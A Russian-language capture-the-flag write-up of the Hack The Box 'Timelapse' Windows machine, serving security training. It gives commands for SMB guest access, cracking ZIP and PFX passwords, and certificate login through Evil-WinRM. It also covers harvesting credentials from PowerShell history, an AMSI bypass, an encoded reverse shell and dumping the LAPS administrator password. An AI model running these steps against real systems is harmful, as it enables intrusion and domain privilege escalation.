HTB Timelapse. Атакуем Windows Remote Management и работаем с сертификатами
В этом райтапе мы с тобой взломаем легкую по уровню сложности машину на Windows: поработаем с сертификатами для службы WinRM, а также с LAPS — чтобы повысить привилегии.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
, чтобы было удобнее обращаться к ней:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Мы нашли много открытых портов:
- 53 — служба DNS;
- 88 — служба авторизации Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC);
- 139 — служба имен NetBIOS;
- 389, 636, 3268, 3269 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 — служба удаленного вызова процедур (Microsoft RPC над HTTPS);
- 5986 — служба удаленного управления Windows (WinRM).
Порт 445 — SMB
Сразу проведем базовую разведку SMB. Простым подключением с помощью CrackMapExec узнаем версию операционной системы и имя хоста.
Также стоит попробовать подключение от имени гостя (анонимную авторизацию).
cme smb 10.10.11.152 -u guest -p '' --shares
И находим доступную для чтения директорию Shares
.
ТОЧКА ВХОДА
Подключимся к этому ресурсу с помощью утилиты smbclient из пакета скриптов impacket и просмотрим доступные файлы (при запросе пароля ничего не вводим).
smbclient.py [email protected] use Shares ls
В каталоге Dev
найдем архив ZIP.
Скачиваем его командой get
, а при попытке распаковать у нас запросят пароль.
Пароль не проблема, если он слабый, так как его можно перебрать. Для перебора будем использовать утилиту fcrackzip.
fcrackzip -v -D -u winrm_backup.zip -p rockyou.txt
В архиве находим файл .pfx — сертификат в формате PKCS#12. При попытке открыть и просмотреть его у нас снова запрашивают пароль.
ТОЧКА ОПОРЫ
Будем надеяться, что и тут используется слабый пароль. Можно преобразовать файл в формат программы John the Ripper — продвинутого брутфорсера хешей. Вместе с «Джоном» обычно поставляется репозиторий скриптов для преобразования хешей из разных форматов файлов в понимаемый брутфорсером формат. В данном случае нам нужен скрипт pfx2john
.
/usr/share/john/pfx2john.py legacyy_dev_auth.crt
Сохраним хеш в файл и передадим на перебор. В качестве словаря будем использовать знаменитый rockyou.
john --wordlist=./rockyou.txt pfx.hash
Теперь, когда мы получили пароль от сертификата PFX, нам нужно извлечь из него отдельно сертификат и отдельно ключ. Для этого воспользуемся утилитой OpenSSL, которой нужно указать:
- формат файла и сам входной файл (параметр
-in
); - имя файла, в который записать результат (параметр
-out
); - параметры (для ключа
-nocerts
, а для получения сертификата-clcerts
и-nokeys
).
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt -nodes
Теперь нам нужно очистить файлы ключа и сертификата. Для этого оставим в файлах только данные после -----BEGIN
. Теперь у нас все готово, чтобы подключиться к службе WinRM по сертификату. Для этого используем крутую утилиту Evil-WinRM.
evil-winrm -S -k ./clear_key.pem -c ./clear_cert.crt -i 10.10.11.152
ПРОДВИЖЕНИЕ
Первым делом получим информацию о текущем пользователе. Это поможет более точно понять контекст, в котором мы работаем.
Таким образом, подконтрольный нам пользователь состоит в группе разработчиков. Никаких проектов на диске найти не удалось, поэтому посмотрим логи PowerShell, а именно вот этот history-файл:
C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine\ConsoleHost_history.txt
Из этого файла мы получаем учетные данные для подключения от имени пользователя svc_deploy.
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami}
Мы можем получить другой контекст выполнения, поэтому прокинем реверс‑шелл. Но сначала нужно отключить AMSI, сделать это можно с помощью встроенного в Evil-WinRM средства Bypass-4MSI.
Реверс‑шелл возьмем с крутого онлайнового генератора, где нужно указать хост и порт для обратного подключения. Кроме реверс‑шелла, получим и команду для листенера:
А теперь выполняем наш реверс‑шелл.
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock { powershell -e JABjAGw... }
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Так как рабочий контекст изменился, снова запросим информацию о пользователе.
Пользователь состоит в группе LAPS_Readers
, что позволяет ему читать свойства объектов, связанных с LAPS.
Справка: Local Administrator Password Solution
Local Administrator Password Solution (LAPS) позволяет централизованно управлять паролями администраторов на всех компьютерах домена и хранить информацию о пароле и дате его смены непосредственно в объектах типа Computer в Active Directory. LAPS основан на использовании специальных функций GPO, которые, в свою очередь, основаны на Group Policy Client Side Extension. Это небольшой модуль, который устанавливается на рабочие станции. Это расширение GPO используется для генерации уникального пароля локального администратора на каждом компьютере домена. Пароль администратора автоматически меняется с указанной периодичностью (по умолчанию каждые 30 дней). Значение текущего пароля хранится в конфиденциальном атрибуте ms-Mcs-AdmPwd
учетной записи компьютера в Active Directory, доступ на просмотр содержимого атрибута регулируется группами безопасности AD.
На компьютере установлен модуль PowerShell Active Directory, поэтому мы можем получить значение ms-Mcs-AdmPwd
одной простой командой.
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
Мы узнали пароль локального админа, поэтому можем подключиться к службе WinRM.
evil-winrm -S -u 'Administrator' -p '0[haC+zxJ+Tq)+;a)1DU9qG#' -i 10.10.11.152